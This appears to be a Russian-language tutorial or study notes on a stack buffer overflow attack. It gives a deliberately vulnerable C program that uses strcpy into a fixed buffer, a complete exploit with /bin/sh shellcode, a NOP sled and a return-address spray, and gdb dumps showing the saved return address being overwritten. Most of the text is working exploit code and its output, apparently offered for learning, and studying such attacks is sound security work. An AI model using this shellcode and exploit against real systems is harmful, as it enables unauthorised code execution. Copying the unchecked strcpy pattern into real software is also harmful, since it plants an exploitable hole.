Атака переполнением буфера

void somefunc(char **argv){
    char buffer[30];
    strcpy(buffer, argv[1]);
}
int main(int argc, char **argv){
    if(argc==2)
        somefunc(argv); 
    else
        printf("There is no args"); 
    printf("__RET FROM MAIN OF COMMAND__");
}

//shellcode = /bin/sh
char shellcode[]={
"\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf"
"\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54"
"\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05"};
int main(int argc, char **argv) 
{
    unsigned int mem_i , ret, *ptr, offset=0; 
    if(argc < 2){
        printf("Usage: <exploit> offset\n"); 
        return 0;
    }
    offset = atoi(argv[1]); 
    const char *cc = "./command"; 
    char* buffer = (char*)malloc(200); 
    bzero(buffer, 200); 
    ret = (unsigned int)&mem_i + offset; //это нужно для адреса возврата
    for(mem_i = 0; mem_i < 160; mem_i+=4) //заполняем адресом возврата
        *((unsigned int *)(buffer+mem_i)) = ret;
    memset(buffer, 0x90, 100);//прокладываем дорожку NOP
    memcpy(buffer+100, shellcode, sizeof(shellcode)-1);//записываем сам shelcode
    execl(cc, cc, buffer, NULL);//вызываем уязвимую команду
//  -------------------------------------------------------------------------------------------------
//  |               NOP                     |       shellcode       |       АДРЕС ВОЗВРАТА     |
//  --------------------------------------------------------------------------------------------------  
}

----> gdb exploit
...
(gdb) x/64xw buffer
0x5555555592a0: 0x90909090  0x90909090  0x90909090  0x90909090  (это все короче NOP)
...
0x5555555592f0: 0x90909090  0x90909090  0x90909090  0x90909090
0x555555559300: 0x90909090  0xfe58426a  0x529948c4  0x622fbf48   (здесь начинается shellcode)
0x555555559310: 0x2f2f6e69  0x54576873  0xd089495e  0x0fd28949
0x555555559320: 0xffffde05  0xffffde44  0xffffde44  0xffffde44  (ну а это адрес возврата)
0x555555559330: 0xffffde44  0xffffde44  0xffffde44  0xffffde44
(gdb) next
(ДАЛЬШЕ gdb переходит к выполнению command, т.к. код вызывает ее(execl(cc, cc, buffer, NULL)).
(gdb) disass main
...
0x00005555555551ef <+32>:   call   0x555555555169 <somefunc>
0x00005555555551f4 <+37>:   jmp    0x555555555207 <main+56>(этот адрес somefunc() 
возьмет в качетстве возвратного)
...
(gdb) break somefunc
(gdb) cont
Breakpoint 3, somefunc (argv=0x7fffffffdee8) at command.c:8
8       strcpy(buffer, argv[1]);
(gdb) x/32xw $rsp
...
0x7fffffffddc0: 0x00000000  0x00000000  0x55555220  0x00005555
0x7fffffffddd0: 0xffffddf0  0x00007fff  0x555551f4  0x00005555(это возвратный адрес, 
который нам надо перезаписать,   0x00005555555551f4 )
0x7fffffffdde0: 0xffffdee8  0x00007fff  0x00000000  0x00000002
0x7fffffffddf0: 0x00000000  0x00000000  0xf7dda565  0x00007fff
0x7fffffffde00: 0xffffdee8  0x00007fff  0xf7fc7000  0x00000002
0x7fffffffde10: 0x555551cf  0x00005555  0xffffe239  0x00007ff
(gdb) next
(gdb) x/32xw $rsp
0x7fffffffddc0: 0x90909090  0x90909090  0x90909090  0x90909090(перезаписали на NOP)
0x7fffffffddd0: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffdde0: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffddf0: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffde00: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffde10: 0x90909090  0xfe58426a  0x529948c4  0x622fbf48